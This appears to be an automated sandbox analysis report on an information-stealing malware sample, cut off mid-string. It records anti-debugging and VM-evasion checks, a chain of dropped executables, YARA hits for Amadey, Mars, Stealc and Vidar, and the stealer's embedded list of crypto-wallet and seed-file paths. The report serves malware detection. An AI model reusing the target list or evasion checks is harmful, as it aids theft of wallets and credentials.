Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: BGIIDAEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 12_2_04CF05E2 Start: 04CF065A End: 04CF05F6

12_2_04CF05E2

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

Code function: 7_2_05170DC5 rdtsc

7_2_05170DC5

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5A5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C5A5FF0

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5AC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5AC410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_0032643B mov eax, dword ptr fs:[00000030h]		12_2_0032643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_0032A1A2 mov eax, dword ptr fs:[00000030h]		12_2_0032A1A2

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C57B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C57B66C
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C57B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C57B1F7

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFHDHIJDGC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe "C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C57B341 cpuid

0_2_6C57B341

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5435A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5435A0

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 12_2_002F6590 LookupAccountNameA,

12_2_002F6590

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.IDGHDGIDAK.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.explorti.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2243049461.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2646045722.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2198644151.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3235698523.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2234772240.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2275486715.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2239583360.0000000000AA1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2283301869.00000000002F1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.Wf9qnVcbi8.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.528307a0ac.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198516833.0000000001655000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wf9qnVcbi8.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 528307a0ac.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Wf9qnVcbi8.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.528307a0ac.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wf9qnVcbi8.exe PID: 1864, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session 